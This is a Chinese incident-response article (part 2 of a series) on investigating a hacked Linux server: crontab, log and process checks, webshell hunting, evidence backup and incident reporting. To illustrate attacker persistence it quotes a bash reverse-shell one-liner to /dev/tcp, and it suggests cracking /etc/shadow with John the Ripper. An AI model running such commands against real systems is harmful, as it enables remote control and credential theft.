年关将至,服务器被入侵了怎么办?(2)
时间:2018-12-14 19:18 来源:网络整理 作者:墨客科技 点击:次
不要用crontab –l查看crontab(绕过检测),也有通过写crontab配置文件反弹shell的,笔者接触过几次,一般都是使用的bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 5、系统日志检测 检查sshd服务配置文件/etc/ssh/sshd_config和系统认证日志auth、message,判断是否为口令破解攻击; /etc/ssh/sshd_config文件确认认证方式; 确认日志是否被删除或者清理过的可能(大小判断); last/lastb可以作为辅助,不过可能不准确; 6、NHIDS正常运行判断 是否安装:ls /etc/ossec 是否运行正常:ps axu |grep nhids 三个nhids进程则表示正常 7、其他攻击分析 抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用-w参数,这样才能保存成pcap格式导入到wireshark,这样分析起来会事半功倍。 tcpdump -w tcpdump.log 六、安全相关的关键文件和数据备份(运维) 可以同步进行,使用sftp/rsync等将日志上传到安全的服务器。 打包系统日志 参考:$ tar -jcvf syslog.tar.bz2 /var/log 打包web日志:access log 打包history日志(所有用户),参考: $ cp /home/user/。history user_history 打包crontab记录 打包密码文件:/etc/passwd, /etc/shadow 打包可疑文件、后门、shell信息 七、深入分析(安全人员) 初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从webshell、开放端口服务等方向顺藤摸瓜。 1、Webshell入侵 使用webshell_check.py脚本检测web目录; $ python webshell_check.py /var/www/ >result.txt 查找web目录下所有nobody的文件,人工分析: $ find /var/www –user nobody >nobody.txt 如果能确定入侵时间,可以使用find查找最近时间段内变化的文件; $ find / -type f -name ".?*" |xargs ls -l |grep "Mar 22" $ find / -ctime/-mtime 8 2、利用Web漏洞直接反连shell 分析access.log 缩小日志范围:时间,异常IP提取 攻击行为提取:常见的攻击exp识别 3、系统弱口令入侵 认证相关日志auth/syslog/message排查: 爆破行为定位和IP提取; 爆破是否成功确定:有爆破行为IP是否有accept记录。 如果日志已经被清理,使用工具(比如John the Ripper)爆破/etc/passwd,/etc/shadow。 4、其他入侵 其他服务器跳板到本机。 5、后续行为分析 History日志:提权、增加后门,以及是否被清理。 Sniffer: 网卡混杂模式检测 ifconfig |grep –i proc 内网扫描:网络nmap/扫描器,socks5代理 确定是否有rootkit:rkhunter, chkrootkit, ps/netstat替换确认 6、后门清理排查 根据时间点做关联分析:查找那个时间段的所有文件; 一些小技巧:/tmp目录, ls –la,查看所有文件,注意隐藏的文件; 根据用户做时间关联:比如nobody; 7、其他机器的关联操作 其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。 八、整理事件报告(安全人员) 事件报告应包含但不限于以下几个点: 分析事件发生原因:事件为什么会发生的原因; 分析整个攻击流程:时间点、操作; 分析事件处理过程:整个事件处理过程总结是否有不足; 分析事件预防:如何避免事情再次发生; 总结:总结事件原因,改进处理过程,预防类似事件再次发生。 九、处理中的遇到的比较棘手的事情 日志和操作记录全被删了怎么办? strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd硬盘数据再去还原出来。 系统账号密码都修改了,登不进去? 重启进单用户模式修改root密码,或者通过控制卡操作,或者直接还原系统。都搞不定就直接重装吧。 使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事? (责任编辑:admin) |